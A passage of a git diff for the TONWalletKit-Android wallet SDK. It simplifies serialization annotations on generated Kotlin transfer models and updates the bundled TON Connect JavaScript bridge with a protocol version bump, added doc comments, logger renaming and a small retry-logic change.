null, + + /* Number of quote retries on transient errors (5xx / network). Defaults to 5. */ + @SerialName(value = "quoteRetries") + val quoteRetries: kotlin.Int? = null, + + /* Fixed delay between quote retries in ms. Defaults to 1000. */ + @SerialName(value = "quoteRetryDelayMs") + val quoteRetryDelayMs: kotlin.Int? = null, + + /* TTL for the in-memory `/v2/gasless/config` cache (ms). Defaults to 5 minutes. Set to `0` to disable caching. */ + @SerialName(value = "configCacheTtlMs") + val configCacheTtlMs: kotlin.Int? = null, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt index 5a68be00..9a31e344 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -51,10 +50,10 @@ data class TONTonTransferItem( @SerialName(value = "amount") val amount: kotlin.String, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") val payload: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") val stateInit: io.ton.walletkit.model.TONBase64? = null, /* Map of extra currency IDs to their amounts. Extra currencies are additional tokens that can be attached to TON messages. */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt index 848675cd..edde8b60 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt @@ -47,7 +47,7 @@ data class TONTransactionMessageContent( @SerialName(value = "hash") val hash: kotlin.String? = null, - @Contextual @SerialName(value = "body") + @SerialName(value = "body") val body: io.ton.walletkit.model.TONBase64? = null, /* The decoded metadata from the initial state body */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt index 4fc31b32..104efe67 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -60,10 +59,10 @@ data class TONTransactionRequestMessage( @SerialName(value = "extraCurrency") val extraCurrency: kotlin.collections.Map? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") val stateInit: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") val payload: io.ton.walletkit.model.TONBase64? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt index 3fd4fc51..d0367e45 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt @@ -30,7 +30,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 import io.ton.walletkit.model.TONUserFriendlyAddress -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -61,10 +60,10 @@ data class TONTransferRequest( @SerialName(value = "extraCurrency") val extraCurrency: kotlin.collections.Map? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") val stateInit: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") val payload: io.ton.walletkit.model.TONBase64? = null, /* Human-readable text comment attached to the transfer */ diff --git a/TONWalletKit-Android/impl/src/main/assets/walletkit/walletkit-android-bridge.mjs b/TONWalletKit-Android/impl/src/main/assets/walletkit/walletkit-android-bridge.mjs index b4959d6f..b25ef25e 100644 --- a/TONWalletKit-Android/impl/src/main/assets/walletkit/walletkit-android-bridge.mjs +++ b/TONWalletKit-Android/impl/src/main/assets/walletkit/walletkit-android-bridge.mjs @@ -4027,7 +4027,7 @@ var require_nacl_fast = /* @__PURE__ */ __commonJSMin(((exports, module) => { })(typeof module !== "undefined" && module.exports ? module.exports : self.nacl = self.nacl || {}); })); //#endregion -//#region ../../node_modules/.pnpm/@tonconnect+protocol@2.5.0-alpha.1/node_modules/@tonconnect/protocol/lib/esm/index.mjs +//#region ../../node_modules/.pnpm/@tonconnect+protocol@3.0.0/node_modules/@tonconnect/protocol/lib/esm/index.mjs function encodeUint8Array$1(value, urlSafe) { const encoded = import_nacl_util$1.default.encodeBase64(value); if (!urlSafe) return encoded; @@ -4183,16 +4183,22 @@ function decodeEmbeddedRequestParam(reqParam) { const json = fromBase64Url(reqParam); return decodeWireEmbeddedRequest(JSON.parse(json)); } +/** Concatenate two byte arrays into a new `Uint8Array`. */ function concatUint8Arrays(buffer1, buffer2) { const mergedArray = new Uint8Array(buffer1.length + buffer2.length); mergedArray.set(buffer1); mergedArray.set(buffer2, buffer1.length); return mergedArray; } +/** +* Split `array` at `index` and return the two halves as fresh +* `Uint8Array`s. +*/ function splitToUint8Arrays(array, index) { if (index >= array.length) throw new Error("Index is out of buffer"); return [array.slice(0, index), array.slice(index)]; } +/** Hex-encode a byte array, lowercase, no `0x` prefix. */ function toHexString(byteArray) { let hexString = ""; byteArray.forEach((byte) => { @@ -4200,6 +4206,9 @@ function toHexString(byteArray) { }); return hexString; } +/** +* Inverse of {@link toHexString}. Throws when `hexString` has an odd length. +*/ function hexToByteArray$1(hexString) { if (hexString.length % 2 !== 0) throw new Error(`Cannot convert ${hexString} to bytesArray`); const result = new Uint8Array(hexString.length / 2); @@ -4211,30 +4220,49 @@ var init_esm$2 = __esmMin((() => { import_nacl_util$1 = /* @__PURE__ */ __toESM(require_nacl_util(), 1); import_nacl_fast$2 = /* @__PURE__ */ __toESM(require_nacl_fast(), 1); (function(CONNECT_EVENT_ERROR_CODES) { + /** Unexpected wallet-side failure. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["UNKNOWN_ERROR"] = 0] = "UNKNOWN_ERROR"; + /** Request payload is malformed. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["BAD_REQUEST_ERROR"] = 1] = "BAD_REQUEST_ERROR"; + /** Wallet could not fetch the `tonconnect-manifest.json`. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["MANIFEST_NOT_FOUND_ERROR"] = 2] = "MANIFEST_NOT_FOUND_ERROR"; + /** Manifest was fetched but fails JSON / schema validation. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["MANIFEST_CONTENT_ERROR"] = 3] = "MANIFEST_CONTENT_ERROR"; + /** Wallet does not know the app / session. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["UNKNOWN_APP_ERROR"] = 100] = "UNKNOWN_APP_ERROR"; + /** User explicitly declined the connect prompt. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["USER_REJECTS_ERROR"] = 300] = "USER_REJECTS_ERROR"; + /** Wallet does not support the requested method. */ CONNECT_EVENT_ERROR_CODES[CONNECT_EVENT_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(CONNECT_EVENT_ERROR_CODES$1 || (CONNECT_EVENT_ERROR_CODES$1 = {})); (function(CONNECT_ITEM_ERROR_CODES) { + /** Unexpected wallet-side failure. */ CONNECT_ITEM_ERROR_CODES[CONNECT_ITEM_ERROR_CODES["UNKNOWN_ERROR"] = 0] = "UNKNOWN_ERROR"; + /** Wallet does not support this connect item. */ CONNECT_ITEM_ERROR_CODES[CONNECT_ITEM_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(CONNECT_ITEM_ERROR_CODES$1 || (CONNECT_ITEM_ERROR_CODES$1 = {})); (function(SEND_TRANSACTION_ERROR_CODES) { + /** Unexpected wallet-side failure. */ SEND_TRANSACTION_ERROR_CODES[SEND_TRANSACTION_ERROR_CODES["UNKNOWN_ERROR"] = 0] = "UNKNOWN_ERROR"; + /** Request payload is malformed. */ SEND_TRANSACTION_ERROR_CODES[SEND_TRANSACTION_ERROR_CODES["BAD_REQUEST_ERROR"] = 1] = "BAD_REQUEST_ERROR"; + /** Wallet does not know the dApp / session. */ SEND_TRANSACTION_ERROR_CODES[SEND_TRANSACTION_ERROR_CODES["UNKNOWN_APP_ERROR"] = 100] = "UNKNOWN_APP_ERROR"; + /** User explicitly declined the transaction. */ SEND_TRANSACTION_ERROR_CODES[SEND_TRANSACTION_ERROR_CODES["USER_REJECTS_ERROR"] = 300] = "USER_REJECTS_ERROR"; + /** Wallet does not support the method. */ SEND_TRANSACTION_ERROR_CODES[SEND_TRANSACTION_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(SEND_TRANSACTION_ERROR_CODES$1 || (SEND_TRANSACTION_ERROR_CODES$1 = {})); (function(SIGN_DATA_ERROR_CODES) { + /** Unexpected wallet-side failure. */ SIGN_DATA_ERROR_CODES[SIGN_DATA_ERROR_CODES["UNKNOWN_ERROR"] = 0] = "UNKNOWN_ERROR"; + /** Invalid request payload. */ SIGN_DATA_ERROR_CODES[SIGN_DATA_ERROR_CODES["BAD_REQUEST_ERROR"] = 1] = "BAD_REQUEST_ERROR"; + /** Wallet does not know the dApp / session. */ SIGN_DATA_ERROR_CODES[SIGN_DATA_ERROR_CODES["UNKNOWN_APP_ERROR"] = 100] = "UNKNOWN_APP_ERROR"; + /** User explicitly declined. */ SIGN_DATA_ERROR_CODES[SIGN_DATA_ERROR_CODES["USER_REJECTS_ERROR"] = 300] = "USER_REJECTS_ERROR"; + /** Wallet does not support `signData` method or the requested `type`. */ SIGN_DATA_ERROR_CODES[SIGN_DATA_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(SIGN_DATA_ERROR_CODES$1 || (SIGN_DATA_ERROR_CODES$1 = {})); (function(DISCONNECT_ERROR_CODES) { @@ -4244,10 +4272,15 @@ var init_esm$2 = __esmMin((() => { DISCONNECT_ERROR_CODES[DISCONNECT_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(DISCONNECT_ERROR_CODES$1 || (DISCONNECT_ERROR_CODES$1 = {})); (function(SIGN_MESSAGE_ERROR_CODES) { + /** Unexpected wallet-side failure. */ SIGN_MESSAGE_ERROR_CODES[SIGN_MESSAGE_ERROR_CODES["UNKNOWN_ERROR"] = 0] = "UNKNOWN_ERROR"; + /** Invalid request payload. */ SIGN_MESSAGE_ERROR_CODES[SIGN_MESSAGE_ERROR_CODES["BAD_REQUEST_ERROR"] = 1] = "BAD_REQUEST_ERROR"; + /** Wallet does not know the dApp / session. */ SIGN_MESSAGE_ERROR_CODES[SIGN_MESSAGE_ERROR_CODES["UNKNOWN_APP_ERROR"] = 100] = "UNKNOWN_APP_ERROR"; + /** User explicitly declined. */ SIGN_MESSAGE_ERROR_CODES[SIGN_MESSAGE_ERROR_CODES["USER_REJECTS_ERROR"] = 300] = "USER_REJECTS_ERROR"; + /** Wallet does not support `signMessage`. */ SIGN_MESSAGE_ERROR_CODES[SIGN_MESSAGE_ERROR_CODES["METHOD_NOT_SUPPORTED"] = 400] = "METHOD_NOT_SUPPORTED"; })(SIGN_MESSAGE_ERROR_CODES || (SIGN_MESSAGE_ERROR_CODES = {})); (function(CHAIN) { @@ -4259,6 +4292,10 @@ var init_esm$2 = __esmMin((() => { decode: decode$1 }; SessionCrypto = class { + /** + * Reuse an existing {@link KeyPair} (resuming a session) or generate a + * fresh one (`crypto_box.keyPair()`) when omitted. + */ constructor(keyPair) { this.nonceLength = 24; this.keyPair = keyPair ? this.createKeypairFromString(keyPair) : this.createKeypair(); @@ -4276,17 +4313,31 @@ var init_esm$2 = __esmMin((() => { createNonce() { return import_nacl_fast$2.default.randomBytes(this.nonceLength); } + /** + * Encrypt `message` for `receiverPublicKey` using a fresh 24-byte random + * nonce. Returns `nonce || ciphertext` as raw bytes; base64-encode this + * value before placing it in the bridge `POST /message` body. + */ encrypt(message, receiverPublicKey) { const encodedMessage = new TextEncoder().encode(message); const nonce = this.createNonce(); return concatUint8Arrays(nonce, import_nacl_fast$2.default.box(encodedMessage, nonce, receiverPublicKey, this.keyPair.secretKey)); } + /** + * Decrypt the `nonce || ciphertext` blob received from the bridge. + * Throws if `nacl.box.open` rejects the message — wrong key, truncated + * input or tampered ciphertext. + */ decrypt(message, senderPublicKey) { const [nonce, internalMessage] = splitToUint8Arrays(message, this.nonceLength); const decrypted = import_nacl_fast$2.default.box.open(internalMessage, nonce, senderPublicKey, this.keyPair.secretKey); if (!decrypted) throw new Error(`Decryption error: \n message: ${message.toString()} \n sender pubkey: ${senderPublicKey.toString()} \n keypair pubkey: ${this.keyPair.publicKey.toString()} \n keypair secretkey: ${this.keyPair.secretKey.toString()}`); return new TextDecoder().decode(decrypted); } + /** + * Export the underlying keypair as a {@link KeyPair} of hex strings. + * Persist this in dApp / wallet storage to resume the session later. + */ stringifyKeypair() { return { publicKey: toHexString(this.keyPair.publicKey), @@ -23646,7 +23697,7 @@ var init_WalletKitError = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/errors/index.js -var init_errors$3 = __esmMin((() => { +var init_errors$4 = __esmMin((() => { init_codes(); init_WalletKitError(); })); @@ -23792,7 +23843,7 @@ function HexToBase64(data) { } var init_base64 = __esmMin((() => { init_hex(); - init_errors$3(); + init_errors$4(); })); //#endregion //#region ../walletkit/dist/esm/types/toncenter/parsers/TonTransfer.js @@ -24905,7 +24956,7 @@ async function CallForSuccess(toCall, attempts = 20, delayMs = 100, shouldRetry) return await toCall(); } catch (err) { lastError = err; - if (shouldRetry && !shouldRetry(err)) throw err; + if (typeof shouldRetry === "function" && shouldRetry(err) === false) throw err; i++; await delay(delayMs); } @@ -25016,17 +25067,17 @@ function createStorageAdapter(config = {}) { if (typeof localStorage !== "undefined") try { return new LocalStorageAdapter(config); } catch (error) { - log$38.warn("Failed to create LocalStorageAdapter, falling back to memory", { error }); + log$39.warn("Failed to create LocalStorageAdapter, falling back to memory", { error }); } if (config.allowMemory) return new MemoryStorageAdapter(config); else throw new Error("No storage adapter available"); } -var log$38; +var log$39; var init_adapters = __esmMin((() => { init_Logger(); init_local(); init_memory(); - log$38 = globalLogger.createChild("StorageAdapter"); + log$39 = globalLogger.createChild("StorageAdapter"); })); //#endregion //#region ../walletkit/dist/esm/storage/adapters/extension.js @@ -25078,10 +25129,10 @@ var init_extension = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/storage/Storage.js -var log$37, Storage; +var log$38, Storage; var init_Storage = __esmMin((() => { init_Logger(); - log$37 = globalLogger.createChild("Storage"); + log$38 = globalLogger.createChild("Storage"); Storage = class { adapter; constructor(adapter) { @@ -25098,7 +25149,7 @@ var init_Storage = __esmMin((() => { if (value === null) return null; return JSON.parse(value); } catch (error) { - log$37.warn("Failed to parse stored value", { + log$38.warn("Failed to parse stored value", { key, error }); @@ -25115,7 +25166,7 @@ var init_Storage = __esmMin((() => { const serialized = JSON.stringify(value); await this.adapter.set(key, serialized); } catch (error) { - log$37.error("Failed to serialize value for storage", { + log$38.error("Failed to serialize value for storage", { key, error }); @@ -25498,11 +25549,11 @@ var init_WalletManager = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/TONConnectStoredSessionManager.js -var log$36, TONConnectStoredSessionManager; +var log$37, TONConnectStoredSessionManager; var init_TONConnectStoredSessionManager = __esmMin((() => { init_esm$2(); init_Logger(); - log$36 = globalLogger.createChild("TONConnectStoredSessionManager"); + log$37 = globalLogger.createChild("TONConnectStoredSessionManager"); TONConnectStoredSessionManager = class { sessions = /* @__PURE__ */ new Map(); storage; @@ -25635,16 +25686,16 @@ var init_TONConnectStoredSessionManager = __esmMin((() => { const wallet = this.walletManager.getWallet(session.walletId); if (wallet) session.walletAddress = wallet.getAddress(); else { - log$36.warn("Session Wallet not found for session", { sessionId: session.sessionId }); + log$37.warn("Session Wallet not found for session", { sessionId: session.sessionId }); continue; } } this.sessions.set(session.sessionId, session); } - log$36.debug("Loaded session metadata", { count: storedSessions.length }); + log$37.debug("Loaded session metadata", { count: storedSessions.length }); } } catch (error) { - log$36.warn("Failed to load sessions from storage", { error }); + log$37.warn("Failed to load sessions from storage", { error }); } } /** @@ -25655,7 +25706,7 @@ var init_TONConnectStoredSessionManager = __esmMin((() => { const sessionsToStore = Array.from(this.sessions.values()); await this.storage.set(this.storageKey, sessionsToStore); } catch (error) { - log$36.warn("Failed to persist sessions to storage", { error }); + log$37.warn("Failed to persist sessions to storage", { error }); } } async migrateSessions() { @@ -27198,16 +27249,6 @@ function getDeviceInfoForWallet(walletAdapter, deviceInfoOptions) { }); return baseDeviceInfo; } -/** -* Extract maximum number of outgoing messages from wallet features -* @param features - Array of wallet features from getSupportedFeatures() -* @returns Maximum number of outgoing messages the wallet can handle (default: 1) -*/ -function getMaxOutgoingMessages(features) { - const sendTransactionFeature = features.find((feature) => feature !== "SendTransaction" && feature.name === "SendTransaction"); - if (sendTransactionFeature) return sendTransactionFeature.maxMessages; - return 1; -} function addLegacySendTransactionFeature(options) { const features = options.features; const hasSendTransactionString = features.some((feature) => feature === "SendTransaction"); @@ -27260,7 +27301,7 @@ var init_timeouts = __esmMin((() => { //#endregion //#region ../walletkit/dist/esm/bridge/injection/BridgeInjector.js var init_BridgeInjector = __esmMin((() => { - init_errors$3(); + init_errors$4(); })); //#endregion //#region ../walletkit/dist/esm/bridge/utils/messageTypes.js @@ -27282,15 +27323,15 @@ var init_JSBridgeInjector = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/BridgeManager.js -var log$34, BridgeManager; +var log$35, BridgeManager; var init_BridgeManager = __esmMin((() => { init_esm$2(); init_dist$1(); init_Logger(); init_uuid(); - init_errors$3(); + init_errors$4(); init_JSBridgeInjector(); - log$34 = globalLogger.createChild("BridgeManager"); + log$35 = globalLogger.createChild("BridgeManager"); BridgeManager = class { config; bridgeProvider; @@ -27332,7 +27373,7 @@ var init_BridgeManager = __esmMin((() => { this.walletKitConfig = walletKitConfig; this.jsBridgeTransport = config?.jsBridgeTransport; if (this.config.bridgeUrl && !this.config.disableHttpConnection) this.bridgeProvider = new C(this.config.bridgeUrl, this.queueBridgeEvent.bind(this), (error) => { - log$34.error("Bridge listener error", { error: error.toString() }); + log$35.error("Bridge listener error", { error: error.toString() }); this.analytics?.emitBridgeClientConnectError({ error_message: `${error?.toString() || "Unknown error"}${error?.errorCode ? ` (Code: ${error?.errorCode})` : ""}`, trace_id: error?.traceId, @@ -27346,12 +27387,12 @@ var init_BridgeManager = __esmMin((() => { */ async start() { if (this.isActive === true) { - log$34.warn("Bridge already started"); + log$35.warn("Bridge already started"); return; } this.isActive = true; if (this.isConnected === true) { - log$34.warn("Bridge already connected"); + log$35.warn("Bridge already connected"); return; } try { @@ -27363,7 +27404,7 @@ var init_BridgeManager = __esmMin((() => { } } catch (error) { this.isActive = false; - log$34.error("Failed to start bridge", { error }); + log$35.error("Failed to start bridge", { error }); throw error; } const requestProcessing = () => { @@ -27376,10 +27417,10 @@ var init_BridgeManager = __esmMin((() => { * Create new session for a dApp connection */ async createSession(appSessionId) { - log$34.info("[BRIDGE] Creating session", { appSessionId }); + log$35.info("[BRIDGE] Creating session", { appSessionId }); if (!await this.sessionManager.getSession(appSessionId)) throw new WalletKitError(ERROR_CODES.SESSION_NOT_FOUND, `Session not found`, void 0, { appSessionId }); if (this.bridgeProvider && this.isConnected) { - log$34.info("[BRIDGE] Updating clients"); + log$35.info("[BRIDGE] Updating clients"); await this.updateClients(); } } @@ -27388,7 +27429,7 @@ var init_BridgeManager = __esmMin((() => { */ async removeSession(appSessionId) { if (this.bridgeProvider && this.isConnected) await this.updateClients(); - log$34.debug("Session removed", { appSessionId }); + log$35.debug("Session removed", { appSessionId }); } /** * Send response to dApp @@ -27413,12 +27454,12 @@ var init_BridgeManager = __esmMin((() => { } try { await this.bridgeProvider.send(response, sessionCrypto, sessionId, { traceId: event?.traceId }); - log$34.debug("Response sent successfully", { + log$35.debug("Response sent successfully", { sessionId, requestId: event.id }); } catch (error) { - log$34.error("Failed to send response through bridge", { + log$35.error("Failed to send response through bridge", { sessionId, requestId: event.id, error @@ -27500,7 +27541,7 @@ var init_BridgeManager = __esmMin((() => { await this.bridgeProvider?.restoreConnection(clients, { lastEventId: this.lastEventId }); this.isConnected = true; this.reconnectAttempts = 0; - log$34.info("Bridge connected successfully"); + log$35.info("Bridge connected successfully"); if (this.analytics) { const client = clients[0]; this.analytics.emitBridgeClientConnectEstablished({ @@ -27509,7 +27550,7 @@ var init_BridgeManager = __esmMin((() => { }); } } catch (error) { - log$34.error("Bridge connection failed", { error: error?.toString() }); + log$35.error("Bridge connection failed", { error: error?.toString() }); this.analytics?.emitBridgeClientConnectError({ error_message: `${error?.toString() || "Unknown error"}${error?.errorCode ? ` (Code: ${error?.errorCode})` : ""}`, trace_id: error?.traceId ?? connectTraceId, @@ -27518,9 +27559,9 @@ var init_BridgeManager = __esmMin((() => { if (!this.config.disableHttpConnection) { if (this.reconnectAttempts < (this.config.maxReconnectAttempts || 5)) { this.reconnectAttempts++; - log$34.info("Bridge reconnection attempt", { attempt: this.reconnectAttempts }); + log$35.info("Bridge reconnection attempt", { attempt: this.reconnectAttempts }); setTimeout(() => { - this.connectToSSEBridge().catch((error) => log$34.error("Bridge reconnection failed", { error })); + this.connectToSSEBridge().catch((error) => log$35.error("Bridge reconnection failed", { error })); }, this.config.reconnectInterval); } } @@ -27541,10 +27582,10 @@ var init_BridgeManager = __esmMin((() => { * Add client to existing bridge connection */ async updateClients() { - log$34.debug("Updating clients"); + log$35.debug("Updating clients"); if (this.bridgeProvider) { const clients = await this.getClients(); - log$34.info("[BRIDGE] Restoring connection", { clients: clients.length }); + log$35.info("[BRIDGE] Restoring connection", { clients: clients.length }); await this.bridgeProvider.restoreConnection(clients, { lastEventId: this.lastEventId }); } } @@ -27552,17 +27593,17 @@ var init_BridgeManager = __esmMin((() => { * Queue incoming bridge events for processing */ queueBridgeEvent(event) { - log$34.debug("Bridge event queued", { + log$35.debug("Bridge event queued", { eventId: event?.id, event }); this.eventQueue.push(event); this.processBridgeEvents().catch((error) => { - log$34.error("Error in background event processing", { error }); + log$35.error("Error in background event processing", { error }); }); } queueJsBridgeEvent(messageInfo, event) { - log$34.debug("JS Bridge event queued", { eventId: messageInfo?.messageId }); + log$35.debug("JS Bridge event queued", { eventId: messageInfo?.messageId }); if (!event) return; if (!event.traceId) event.traceId = v7(); if (event.method == "connect") this.eventQueue.push({ @@ -27591,7 +27632,7 @@ var init_BridgeManager = __esmMin((() => { walletId: messageInfo.walletId }); this.processBridgeEvents().catch((error) => { - log$34.error("Error in background event processing", { error }); + log$35.error("Error in background event processing", { error }); }); } /** @@ -27603,7 +27644,7 @@ var init_BridgeManager = __esmMin((() => { */ async processBridgeEvents() { if (this.isProcessing) { - log$34.debug("Event processing already in progress, skipping"); + log$35.debug("Event processing already in progress, skipping"); return; } this.isProcessing = true; @@ -27616,7 +27657,7 @@ var init_BridgeManager = __esmMin((() => { } } } catch (error) { - log$34.error("Error during event processing", { error }); + log$35.error("Error during event processing", { error }); this.isProcessing = false; this.restartConnection(); return; @@ -27629,7 +27670,7 @@ var init_BridgeManager = __esmMin((() => { */ async handleBridgeEvent(event) { try { - log$34.info("Bridge event received", { event }); + log$35.info("Bridge event received", { event }); const rawEvent = { id: event.id || crypto.randomUUID(), method: event.method || "unknown", @@ -27683,12 +27724,12 @@ var init_BridgeManager = __esmMin((() => { try { await this.eventStore.storeEvent(rawEvent); if (this.eventEmitter) this.eventEmitter.emit("bridgeStorageUpdated", {}, "bridge-manager"); - log$34.info("Event stored durably", { + log$35.info("Event stored durably", { eventId: rawEvent.id, method: rawEvent.method }); } catch (error) { - log$34.error("Failed to store event durably", { + log$35.error("Failed to store event durably", { eventId: rawEvent.id, error: error.message }); @@ -27697,13 +27738,13 @@ var init_BridgeManager = __esmMin((() => { method: rawEvent.method }); } - log$34.info("Bridge event processed", { rawEvent }); + log$35.info("Bridge event processed", { rawEvent }); if (event?.lastEventId && event.lastEventId !== this.lastEventId) { this.lastEventId = event.lastEventId; await this.saveLastEventId(); } } catch (error) { - log$34.error("Error handling bridge event", { error }); + log$35.error("Error handling bridge event", { error }); } } /** @@ -27714,11 +27755,11 @@ var init_BridgeManager = __esmMin((() => { const savedEventId = await this.storage.get(this.storageKey); if (savedEventId) { this.lastEventId = savedEventId; - log$34.debug("Loaded last event ID from storage", { lastEventId: this.lastEventId }); + log$35.debug("Loaded last event ID from storage", { lastEventId: this.lastEventId }); } } catch (error) { const storageError = WalletKitError.fromError(ERROR_CODES.STORAGE_READ_FAILED, "Failed to load last event ID from storage", error); - log$34.warn("Failed to load last event ID from storage", { error: storageError }); + log$35.warn("Failed to load last event ID from storage", { error: storageError }); } } /** @@ -27728,11 +27769,11 @@ var init_BridgeManager = __esmMin((() => { try { if (this.lastEventId) { await this.storage.set(this.storageKey, this.lastEventId); - log$34.debug("Saved last event ID to storage", { lastEventId: this.lastEventId }); + log$35.debug("Saved last event ID to storage", { lastEventId: this.lastEventId }); } } catch (error) { const storageError = WalletKitError.fromError(ERROR_CODES.STORAGE_WRITE_FAILED, "Failed to save last event ID to storage", error); - log$34.warn("Failed to save last event ID to storage", { error: storageError }); + log$35.warn("Failed to save last event ID to storage", { error: storageError }); } } }; @@ -27796,14 +27837,14 @@ async function fetchManifest(manifestUrl, proxyUrl) { manifest: null, manifestFetchErrorCode: CONNECT_EVENT_ERROR_CODES$1.MANIFEST_CONTENT_ERROR }; - log$33.info("Direct manifest fetch failed, trying proxy", { manifestUrl }); + log$34.info("Direct manifest fetch failed, trying proxy", { manifestUrl }); return tryFetchManifest(`${proxyUrl}${manifestUrl}`); } async function tryFetchManifest(url) { try { const response = await fetch(url); if (!response.ok) { - log$33.error("Failed to fetch manifest not ok", { + log$34.error("Failed to fetch manifest not ok", { url, status: response.status }); @@ -27817,7 +27858,7 @@ async function tryFetchManifest(url) { manifestFetchErrorCode: void 0 }; } catch (e) { - log$33.error("Failed to fetch manifest catched", { + log$34.error("Failed to fetch manifest catched", { url, error: e }); @@ -27827,23 +27868,23 @@ async function tryFetchManifest(url) { }; } } -var log$33; +var log$34; var init_manifest = __esmMin((() => { init_esm$2(); init_url(); init_Logger(); - log$33 = globalLogger.createChild("ManifestUtils"); + log$34 = globalLogger.createChild("ManifestUtils"); })); //#endregion //#region ../walletkit/dist/esm/handlers/ConnectHandler.js -var log$32, ConnectHandler; +var log$33, ConnectHandler; var init_ConnectHandler = __esmMin((() => { init_esm$2(); init_Logger(); init_BasicHandler(); init_url(); init_manifest(); - log$32 = globalLogger.createChild("ConnectHandler"); + log$33 = globalLogger.createChild("ConnectHandler"); ConnectHandler = class extends BasicHandler { config; analytics; @@ -27864,7 +27905,7 @@ var init_ConnectHandler = __esmMin((() => { manifest = result.manifest; manifestFetchErrorCode = result.manifestFetchErrorCode; } catch (error) { - log$32.warn("Failed to fetch manifest", { error }); + log$33.warn("Failed to fetch manifest", { error }); } const preview = this.createPreview(event, manifestUrl, manifest, manifestFetchErrorCode); const connectEvent = { @@ -27925,14 +27966,14 @@ var init_ConnectHandler = __esmMin((() => { if (!finalManifestFetchErrorCode && dAppUrl) try { const parsedDAppUrl = new URL(dAppUrl); if (!isValidHost(parsedDAppUrl.host)) { - log$32.warn("Invalid dApp URL in manifest - invalid host format", { + log$33.warn("Invalid dApp URL in manifest - invalid host format", { dAppUrl, host: parsedDAppUrl.host }); finalManifestFetchErrorCode = CONNECT_EVENT_ERROR_CODES$1.MANIFEST_CONTENT_ERROR; } } catch (_) { - log$32.warn("Invalid dApp URL in manifest - failed to parse", { dAppUrl }); + log$33.warn("Invalid dApp URL in manifest - failed to parse", { dAppUrl }); finalManifestFetchErrorCode = CONNECT_EVENT_ERROR_CODES$1.MANIFEST_CONTENT_ERROR; } } @@ -28596,7 +28637,7 @@ async function resolveItemsToMessages(items, wallet) { messages.push(resolveNftItem(item, wallet)); break; default: - log$31.warn("Unknown item type, skipping", { item }); + log$32.warn("Unknown item type, skipping", { item }); break; } return messages; @@ -28649,13 +28690,13 @@ function resolveNftItem(item, wallet) { mode: { flags: [SendModeFlag.IGNORE_ERRORS, SendModeFlag.PAY_GAS_SEPARATELY] } }; } -var import_dist$33, log$31; +var import_dist$33, log$32; var init_itemsResolver = __esmMin((() => { import_dist$33 = require_dist$1(); init_models(); init_messageBuilders(); init_Logger(); - log$31 = globalLogger.createChild("ItemsResolver"); + log$32 = globalLogger.createChild("ItemsResolver"); })); //#endregion //#region ../walletkit/dist/esm/utils/events.js @@ -28717,7 +28758,7 @@ function parseTonConnectTransactionRequest(event, wallet) { validation: 